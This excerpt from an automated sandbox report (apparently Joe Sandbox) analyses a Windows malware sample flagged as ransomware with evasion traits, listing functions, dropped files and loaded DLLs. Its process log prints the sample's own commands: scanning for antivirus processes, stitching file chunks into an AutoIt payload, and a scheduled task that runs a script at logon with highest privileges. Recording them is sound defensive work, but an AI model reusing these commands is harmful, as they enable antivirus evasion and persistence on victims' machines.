Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C355E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	12_2_00C355E5
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F55E5 ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,	17_2_004F55E5

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_0040497C	0_2_0040497C
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_00406ED2	0_2_00406ED2
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: 0_2_004074BB	0_2_004074BB
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BDB020	12_2_00BDB020
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BD94E0	12_2_00BD94E0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BD9C80	12_2_00BD9C80
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C581C8	12_2_00C581C8
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF2325	12_2_00BF2325
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C06432	12_2_00C06432
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C0258E	12_2_00C0258E
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BDE6F0	12_2_00BDE6F0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF275A	12_2_00BF275A
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C088EF	12_2_00C088EF
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C50802	12_2_00C50802
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C069A4	12_2_00C069A4
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C2EB95	12_2_00C2EB95
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BE0BE0	12_2_00BE0BE0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFCC81	12_2_00BFCC81
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C38CB1	12_2_00C38CB1
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C50C7F	12_2_00C50C7F
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C06F16	12_2_00C06F16
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF32E9	12_2_00BF32E9
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFF339	12_2_00BFF339
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BED457	12_2_00BED457
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF15E4	12_2_00BF15E4
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BEF57E	12_2_00BEF57E
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BDF6A0	12_2_00BDF6A0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BD1663	12_2_00BD1663
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF77F3	12_2_00BF77F3
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF1AD8	12_2_00BF1AD8
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFDAD5	12_2_00BFDAD5
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C09C15	12_2_00C09C15
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BEDD14	12_2_00BEDD14
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BF1EF0	12_2_00BF1EF0
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00BFBF06	12_2_00BFBF06
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0049B020	17_2_0049B020
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004994E0	17_2_004994E0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00499C80	17_2_00499C80
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_005181C8	17_2_005181C8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B2325	17_2_004B2325
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C6432	17_2_004C6432
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C258E	17_2_004C258E
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0049E6F0	17_2_0049E6F0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B275A	17_2_004B275A
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00510802	17_2_00510802
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C88EF	17_2_004C88EF
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C69A4	17_2_004C69A4
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004A0BE0	17_2_004A0BE0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004EEB95	17_2_004EEB95
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00510C7F	17_2_00510C7F
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BCC81	17_2_004BCC81
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004F8CB1	17_2_004F8CB1
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C6F16	17_2_004C6F16
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B32E9	17_2_004B32E9
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BF339	17_2_004BF339
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004AD457	17_2_004AD457
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004AF57E	17_2_004AF57E
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B15E4	17_2_004B15E4
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_00491663	17_2_00491663
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_0049F6A0	17_2_0049F6A0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B77F3	17_2_004B77F3
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B1AD8	17_2_004B1AD8
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BDAD5	17_2_004BDAD5
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004C9C15	17_2_004C9C15
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004ADD14	17_2_004ADD14
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004B1EF0	17_2_004B1EF0
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004BBF06	17_2_004BBF06

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif 8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 8498900E57A490404E7EC4D8159BEE29AED5852AE88BD484141780EAADB727BB

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Code function: String function: 004062A3 appears 57 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00BF8A60 appears 42 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00BE1A36 appears 34 times
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: String function: 00BF0C42 appears 70 times
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 004A1A36 appears 34 times
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 004B0C42 appears 70 times
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: String function: 004B8A60 appears 42 times

Source: QqHWdVqNBs.exe, 00000000.00000003.1373917786.000000000289A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAutoIt3.exeB vs QqHWdVqNBs.exe

Source: QqHWdVqNBs.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: QqHWdVqNBs.exe

Static PE information: Section: .reloc ZLIB complexity 1.002685546875

Source: classification engine

Classification label: mal92.rans.evad.winEXE@28/53@2/0

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C3A51A GetLastError,FormatMessageW,

12_2_00C3A51A

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C28BCC AdjustTokenPrivileges,CloseHandle,	12_2_00C28BCC
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Code function: 12_2_00C2917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	12_2_00C2917C
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004E8BCC AdjustTokenPrivileges,CloseHandle,	17_2_004E8BCC
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Code function: 17_2_004E917C LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,	17_2_004E917C

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

0_2_004044A5

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C33FB5 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,

12_2_00C33FB5

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Code function: 0_2_004024FB CoCreateInstance,

0_2_004024FB

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

Code function: 12_2_00C342AA __swprintf,__swprintf,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

12_2_00C342AA

Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif

File created: C:\Users\user\AppData\Local\LinkGuard Dynamics

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7780:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7464:120:WilError_03

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

File created: C:\Users\user~1\AppData\Local\Temp\nslA787.tmp

Jump to behavior

Source: QqHWdVqNBs.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
Source: C:\Windows\SysWOW64\tasklist.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: QqHWdVqNBs.exe

ReversingLabs: Detection: 31%

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe

File read: C:\Users\user\Desktop\QqHWdVqNBs.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\QqHWdVqNBs.exe "C:\Users\user\Desktop\QqHWdVqNBs.exe"
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\system32\wscript.EXE //B "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /k copy Emotions Emotions.cmd & Emotions.cmd & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa.exe opssvc.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui.exe avgui.exe bdservicehost.exe nswscsvc.exe sophoshealth.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 369580	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "MaskBathroomsCompoundInjection" Participants	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b Massachusetts + Radius + Dental + Vendor + Fighting + June + Stockings + Convenience + Falls + Joke + Mask + Severe + Outreach + Sig + Bdsm 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\369580\Origin.pif 369580\Origin.pif 369580\Z	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout 15	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks.exe /create /tn "SecureHawk" /tr "wscript //B 'C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.js'" /sc onlogon /F /RL HIGHEST	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif "C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif" "C:\Users\user\AppData\Local\LinkGuard Dynamics\r"	Jump to behavior

Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\QqHWdVqNBs.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\369580\Origin.pif	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\LinkGuard Dynamics\SecureHawk.pif	Section loaded: nlaapi.dll	Jump to behavior
